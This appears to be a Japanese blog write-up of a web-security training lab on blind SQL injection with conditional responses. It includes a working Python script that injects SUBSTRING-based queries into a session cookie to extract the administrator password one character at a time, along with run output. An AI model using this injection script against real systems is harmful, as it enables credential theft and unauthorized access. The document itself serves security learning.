ペネトレーションしのべくん

さようなら、すべてのセキュリティエンジニア

Blind SQL injection with conditional responses

はじめに

「Blind SQL injection with conditional responses」のWriteupです。SUBSTRING() をあまりちゃんと分かっていなかったので、よい学びになりました。

Summary

  • Blind SQL injection: クエリの結果を、ログなどの明示的な要素ではなく、レスポンスの差異などの暗黙的な要素から推測する手法
    • クエリにブール値を含める
    • 条件付きでゼロ除算などでエラーを発生させる
    • 条件付きで時間遅延を発生させる
    • OAST(Out-of-bound Application Security Testing): テスト対象が意図しない宛先に対して送信したパケットを検査する(Burp Collaboratorで可能だが割愛)
  • SUBSTRING((), offset, length)
    • offset: 何文字目を先頭にするか
    • length: offset から何文字目まで取り出すか

試したいこと

  • Burp suiteだけで解く
    • Solutionを見るとどうやらBurpだけでやる前提なので(きっと全ての問題がそう)。
  • 並列処理で解く
  • 二分探索で解く

Writeup

目的と事前情報は以下の通りです。

  • administrator ユーザーでログインすること。
  • ユーザー情報は users テーブルに格納されていて、username 列 と password 列で構成されている。

スタート。

f:id:befs_anne:20210413010047p:plain

ログイン画面。

f:id:befs_anne:20210413010135p:plain

SessionIdにBurpを使ってtrueになるようなクエリ( AND 1=1 -- )を加えてリクエストします。この場合は "Welcome back!" という文字列が含まれていますが……。

f:id:befs_anne:20210413010253p:plain

falseになるようなクエリ( AND 1=2 -- )では含まれません。この挙動差異を使ってBlind SQL injectionできます。

f:id:befs_anne:20210413010535p:plain

コードを書きました。候補文字列はとりあえず英数字・記号としています。

import requests
import string

url = 'https://thisislaburl.web-security-academy.net/login'
tracking_id = 'thisistrackingid'
session_id = 'thisissessionid'
cookies = dict(TrackingId=tracking_id, session=session_id)


def run():
    chars = string.printable[:95]
    print(chars)
    ans = ''
    for i in range(1, 100):
        print(f'[*] try {i}, ans is "{ans}".')
        for char in chars:
            q = f"' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), {i}, 1) = '{char}'--"
            print(f'[*] query is {q}.')
            cookies = dict(TrackingId=tracking_id + q, session=session_id)
            resp = requests.get(url, cookies=cookies)
            if 'Welcome back!' in resp.text:
                ans += char
                print(ans)
                break
            

if __name__ == '__main__':
    run()

実行。しばらく待つとそれらしい文字列が出てきました。

$ python3 ./bsqli_solver.py 
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ 
[*] try 1, ans is "".
[*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = '0'--.
[*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = '1'--.
[*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = '2'--.
...
...
...
[*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 21, 1) = ';'--.
ivvyuc0s4z8mi49ytu9m;
[*] try 22, ans is "ivvyuc0s4z8mi49ytu9m;".

administratorivvyuc0s4z8mi49ytu9m でログイン成功しました。

f:id:befs_anne:20210413011816p:plain